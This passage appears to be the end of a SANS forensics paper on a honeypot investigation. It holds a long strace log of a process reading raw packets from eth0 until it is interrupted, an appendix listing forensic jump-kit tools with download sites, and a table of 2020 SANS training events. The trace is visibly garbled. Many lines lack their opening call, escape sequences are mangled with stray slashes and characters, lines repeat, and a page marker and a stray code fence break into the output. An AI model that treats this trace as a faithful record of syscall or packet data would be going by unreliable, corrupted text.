10630 time(NULL) = 1027280827
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0004\3428@\0@\6\343"...,
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1PV\312\234\10\10\0E\20\0005M\340@\0@\6x0"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342;@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0006M\341@\0@\6x."..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342<@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0006M\343@\0@\6x."..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342>@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0006M\344@\0@\6x,"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 92
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342>@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\344@\0@\6x,"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280827
10630 time(NULL) = 1027280827
10630 recvfrom(3, "0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\344@\0@\6x,"...,
```
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0005\342?@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\345\0@\0@\6x,"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\346\0@\0@\6x*"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0005M\342A@\0@\6x*"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\350@\0@\6x&"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280833
10630 time(NULL) = 1027280833
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\351@\0@\6x"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0005M\342A@\0@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004M\351@\0@\6x&"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
```

1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\312\234\10\0PV/\300/0/1/10/0E/20/0005\342B\@\0@/6\1343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300/0/1/OPV/312\234/10/10/0E/20/0004M/353\@\0@/6x&"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300/0/1/OPV/312\234/10/10/0E/20/0006M/354\@\0@/6x#"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300/0/1/OPV/312\234/10/10/0E/20/0006M/342C\@\0@/6\1343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\312\234/10\0PV\312\234/10/10/0E/20/0004M/355\@\0@/6x$"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\312\234/10\0PV\312\234/10/10/0E/20/0004M/342D\@\0@/6\1343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 76
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300/0/1/OPV/312\234/10/10/0E/20/0004M/356\@\0@/6x#"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280834
10630 recvfrom(3, "\0PV\300/0/1/OPV/312\234/10/10/0E/20/0005M/357\@\0@/6x!"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234/10\0PV\300/0/1/10/0E/20/0004/342E\@\0@/6\1343"..., 10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234/10\0PV\300/0/1/10/0E/20/0004/342E\@\0@/6\1343"...,
Page: 124 of 132
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\360@\0@\6x ", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\10\0E\20\0004\342F@\0@\6\343" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\361@\0@\6x\37" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\10\0E\20\0004\342G@\0@\6\343" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\362@\0@\6x\36" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\10\0E\20\0004\342H@\0@\6\343" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\363@\0@\6x\35" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\10\0E\20\0004\342I@\0@\6\343" ..., ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005M\364@\0@\6x\34" ...,
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342J\@\0\@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005\365\@\0\@\6\33"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342K\@\0\@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280835
10630 time(NULL) = 1027280835
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0006\366\@\0\@\6\31"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0006\367\@\0\@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 121
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\342L\@\0\@\6\343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004\342M\@\0\@\6\31"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 89
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0004\370\@\0\@\6\31"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\11\10\0E\20\00\0M\342O@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 91
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\371@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280836
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\372@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\373@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\374@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\375@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\376@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\00\0M\377@\0@\6\343", ...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0005\342R@@\0@\6\343",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\320\312\234\10\10\0E\20\0004\377@\0@\6\122",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0005\342S@\0@\6\343",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 67
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\320\312\234\10\10\0E\20\0005\342S@\0@\6\343",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0006\342T@\0@\6\343",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0006\342T@\0@\6\343",...
1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 68
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\10\0E\20\0\342U@\0@\6\343",...

1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 74
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004N\4@\0@\6x\r\l254"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0;342V@\0@\6\1343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 73
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\300\0\1\0PV\312\234\10\10\0E\20\0004N\5@\0@\6x\r\l254"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, "\0PV\312\234\10\0PV\300\0\1\0E\20\0004\342W@\0@\6\1343"..., 1564, 0, {sin_family=AF_UNIX, path="eth0"}, [18]) = 66
10630 ioctl(3, 0x8906, 0xbffff7c0) = 0
10630 time(NULL) = 1027280837
10630 recvfrom(3, 0x80ab8a2, 1564, 0, 0xbffff7d0, 0xbffff7bc) = ? ERESTARTSYS (To be restarted)
10630 --- SIGINT (Interrupt) ---
10630 +++ killed by SIGINT +++
## Appendix 15 – Jump Kit List

The following list of applications were prepared for use on the honeypot for a live audit. The first four items on the list came from Gideon Lenkey’s jump kit howto (par. 9).

<table>
<thead>
<tr>
<th>Name of Tool</th>
<th>Provides</th>
<th>Downloadable At</th>
</tr>
</thead>
<tbody>
<tr>
<td>lsof</td>
<td>Open File Lister</td>
<td>ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/</td>
</tr>
<tr>
<td>textutils*</td>
<td>Md5sum, cat, cut, sort, etc.</td>
<td>ftp://ftp.gnu.org/gnu/textutils</td>
</tr>
<tr>
<td>Autopsy</td>
<td>autopsy</td>
<td><a href="http://www.atstake.com/research/tools/autopsy/">http://www.atstake.com/research/tools/autopsy/</a></td>
</tr>
<tr>
<td>TASK</td>
<td>TCTutils</td>
<td><a href="http://www.atstake.com/research/tools/task/index.html">http://www.atstake.com/research/tools/task/index.html</a></td>
</tr>
</tbody>
</table>

* Package does not compile statically
List of References


# Upcoming SANS Forensics Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Format</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Reboot - NOVA 2020 - Live Online</td>
<td>Arlington, VA</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>FOR498 Australia Live Online 2020</td>
<td>Australia</td>
<td>Aug 10, 2020 - Aug 15, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Cyber Defence APAC Live Online 2020</td>
<td>Singapore</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS FOR508 Sydney August 2020</td>
<td>Sydney, Australia</td>
<td>Aug 17, 2020 - Aug 22, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 17 ET</td>
<td>DC</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer Forensics Europe 2020</td>
<td>United Arab Emirates</td>
<td>Aug 17, 2020 - Aug 28, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 24 MT</td>
<td>CA</td>
<td>Aug 24, 2020 - Aug 29, 2020</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 4, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Virginia Beach 2020 - Live Online</td>
<td>Virginia Beach, VA</td>
<td>Aug 30, 2020 - Sep 4, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Japan Bilingual Live Online</td>
<td>Japan</td>
<td>Aug 31, 2020 - Sep 5, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London September 2020 - Live Online</td>
<td>London, United Kingdom</td>
<td>Sep 7, 2020 - Sep 12, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London September 2020</td>
<td>London, United Kingdom</td>
<td>Sep 7, 2020 - Sep 12, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Philippines 2020</td>
<td>Manila, Philippines</td>
<td>Sep 7, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020 - Live Online</td>
<td>Baltimore, MD</td>
<td>Sep 8, 2020 - Sep 13, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Baltimore Fall 2020</td>
<td>Baltimore, MD</td>
<td>Sep 8, 2020 - Sep 13, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Threat Hunting &amp; Incident Response Summit &amp; Training 2020</td>
<td>Virtual - US Eastern</td>
<td>Sep 10, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Munich September 2020</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Munich September 2020 - Live Online</td>
<td>Munich, Germany</td>
<td>Sep 14, 2020 - Sep 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Network Security 2020 - Live Online</td>
<td>Las Vegas, NV</td>
<td>Sep 20, 2020 - Sep 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Australia Spring 2020</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 3, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Australia Spring 2020 - Live Online</td>
<td>Australia</td>
<td>Sep 21, 2020 - Oct 3, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 3, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Antonio Fall 2020 - Live Online</td>
<td>San Antonio, TX</td>
<td>Sep 28, 2020 - Oct 3, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Northern VA - Reston Fall 2020 - Live Online</td>
<td>Reston, VA</td>
<td>Sep 28, 2020 - Oct 3, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Antonio Fall 2020</td>
<td>San Antonio, TX</td>
<td>Sep 28, 2020 - Oct 3, 2020</td>
<td>Live Event</td>
</tr>
<tr>
<td>Oil &amp; Gas Cybersecurity Summit &amp; Training 2020</td>
<td>Virtual - US Central</td>
<td>Oct 2, 2020 - Oct 10, 2020</td>
<td>CyberCon</td>
</tr>
</tbody>
</table>